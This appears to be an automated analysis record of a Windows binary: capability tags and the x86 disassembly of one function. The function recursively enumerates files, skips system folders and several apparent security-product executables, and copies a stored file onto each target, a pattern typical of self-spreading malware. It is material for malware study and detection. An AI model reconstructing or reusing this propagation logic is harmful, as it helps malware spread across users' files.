Function at 0x402210
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x18
push ebp
push esi
push edi
push 0x1f4
call fcn.00403228
mov edi, eax
push 0x1f4
mov dword [esp + 0x20], edi
call fcn.00403228
push 0x1f4
mov dword [esp + 0x1c], eax
call fcn.00403228
push 0x1f4
mov ebp, eax
call fcn.00403228
mov esi, dword [esp + 0x38]
mov edx, edi
add esp, 0x10
sub edx, esi
mov dword [esp + 0x14], eax
mov eax, esi
mov dword [esp + 0x20], edx
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402260
dec edi
jmp 0x402270
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402270
mov eax, dword [0x407198]
mov dword [edi], eax
mov cx, word [0x40719c]
mov word [edi + 4], cx
mov dl, byte [0x40719e]
push 0x140
mov byte [edi + 6], dl
call fcn.00403228
mov dword [esp + 0x10], eax
mov eax, dword [0x4092b8]
push eax
push esi
call fcn.00406e38
add esp, 0xc
test eax, eax
je 0x40292e
mov ecx, dword [0x4092a4]
mov edx, dword [esp + 0x28]
push ecx
push edx
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40292e
mov ecx, dword [esp + 0x28]
push str.windows
lea eax, [esp + 0x20]
push eax
push ecx
mov dword [esp + 0x28], 7
call section..text
add esp, 8
push eax
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40292e
mov eax, dword [esp + 0x28]
push str.system32
lea edx, [esp + 0x20]
push edx
push eax
mov dword [esp + 0x28], 8
call section..text
add esp, 8
push eax
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40292e
mov edx, dword [esp + 0x28]
push str.system
lea ecx, [esp + 0x20]
push ecx
push edx
mov dword [esp + 0x28], 6
call section..text
add esp, 8
push eax
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40292e
mov eax, dword [esp + 0x18]
push ebx
mov ebx, dword [esp + 0x10]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x20], eax
je 0x402775
lea esi, [ebx + 0x2c]
push str.IEXPLORE.EXE
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x402577
push str.ccApp.exe
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x402577
push str.ccRegVfy.exe
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x402577
mov eax, dword [esp + 0x2c]
mov edx, ebp
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4023d0
mov edi, ebp
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023e0
mov cx, word [0x407140]
lea eax, [ebx + 0x2c]
mov word [edi], cx
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4023f7
mov edi, ebp
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402405
mov ebx, dword [esp + 0x18]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov edx, ebx
rep movsb byte es:[edi], byte [esi]
mov eax, ebp
sub edx, ebp
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402425
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402434
sub eax, edx
mov ecx, 0x4092b0
sub eax, ecx
lea edx, [eax + ebx - 3]
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x402448
push ebp
call fcn.00401a30
add esp, 4
test al, al
jne 0x402580
push ebp
mov ecx, 0x409030
call fcn.00401080
test al, al
je 0x402580
mov eax, dword [0x4092a4]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402480
sub eax, edx
mov edx, dword [0x4092a0]
lea eax, [eax + edx + 0xa]
push eax
call fcn.00403228
mov ecx, dword [0x4092a4]
mov ebx, eax
add esp, 4
mov edx, ebx
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4024a6
mov edi, ebx
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4024b3
mov cx, word [0x407140]
mov word [edi], cx
mov eax, dword [0x4092ac]
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024d0
mov edi, ebx
sub eax, edx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4024e0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
dec edi
jmp 0x402500
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402500
mov dx, word [0x40713c]
mov eax, 0x4092b4
mov word [edi], dx
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402520
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402530
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x4092c4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
mov ecx, 0x409030
push ebp
call fcn.00401520
push ebp
push ebx
call fcn.00401e10
push ebx
call fcn.00401ae0
push ebx
call fcn.00403275
add esp, 0x10
mov ebx, dword [esp + 0x18]
jmp 0x402580
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x402775
mov edi, dword [esp + 0x10]
push str.IEXPLORE.EXE
lea esi, [edi + 0x2c]
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x402584
push str.ccApp.exe
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x402580
push str.ccRegVfy.exe
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x402580
mov eax, dword [esp + 0x2c]
mov edx, ebp
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4025e0
mov edi, ebp
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4025f0
mov eax, dword [esp + 0x10]
mov dx, word [0x407140]
add eax, 0x2c
mov word [edi], dx
mov ecx, eax
jmp 0x402610
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402610
mov edi, ebp
sub eax, ecx
mov esi, ecx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402620
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov edx, ebx
rep movsb byte es:[edi], byte [esi]
mov eax, ebp
sub edx, ebp
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402640
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402650
sub eax, edx
mov ecx, 0x4092b0
sub eax, ecx
lea edx, [eax + ebx - 3]
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x402664
push ebp
call fcn.00401a30
add esp, 4
test al, al
jne 0x402580
push ebp
mov ecx, 0x409030
call fcn.00401080
test al, al
je 0x402580
mov eax, dword [0x4092a4]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026a0
mov ecx, dword [0x4092a0]
sub eax, edx
lea edx, [eax + ecx + 0xa]
push edx
call fcn.00403228
mov ecx, dword [0x4092a4]
mov ebx, eax
add esp, 4
mov edx, ebx
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4026c6
mov edi, ebx
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4026d3
mov ax, word [0x407140]
mov word [edi], ax
mov eax, dword [0x4092ac]
mov edx, eax
jmp 0x4026f0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026f0
mov edi, ebx
sub eax, edx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402700
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
dec edi
jmp 0x402720
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402720
mov cx, word [0x40713c]
mov eax, 0x4092b4
mov word [edi], cx
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402740
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402750
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov edx, dword [0x4092c4]
push ebx
push edx
jmp 0x40254f
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402788
mov edi, dword [esp + 0x1c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402797
mov ecx, dword [str..]
mov eax, dword [esp + 0x10]
mov dword [edi], ecx
mov ecx, dword [esp + 0x1c]
mov dl, byte [0x40714c]
push eax
push ecx
mov byte [edi + 4], dl
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40292d
mov edx, dword [esp + 0x10]
test byte [edx], 0x10
mov edi, edx
je 0x40286c
lea esi, [edi + 0x2c]
push 0x40713c
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40286c
push 0x407144
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40286c
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x14]
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402810
mov edi, dword [esp + 0x14]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402820
mov ax, word [0x407140]
mov word [edi], ax
mov eax, esi
mov ecx, esi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402835
mov edi, dword [esp + 0x14]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402845
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00402210
mov edi, dword [esp + 0x14]
add esp, 4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40292d
lea esp, [esp]
test byte [edi], 0x10
je 0x40291d
lea esi, [edi + 0x2c]
push 0x40713c
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40291d
push 0x407144
push esi
call fcn.00406e38
add esp, 8
test eax, eax
je 0x40291d
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x14]
sub edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4028c0
mov edi, dword [esp + 0x14]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028d0
mov dx, word [0x407140]
mov eax, esi
mov word [edi], dx
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4028e6
mov edi, dword [esp + 0x14]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4028f6
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402210
mov edi, dword [esp + 0x14]
add esp, 4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402880
pop ebx
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00403275
mov edx, dword [esp + 0x14]
push edx
call fcn.00403275
push ebp
call fcn.00403275
mov eax, dword [esp + 0x20]
push eax
call fcn.00403275
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00403275
add esp, 0x14
pop edi
pop esi
pop ebp
add esp, 0x18
ret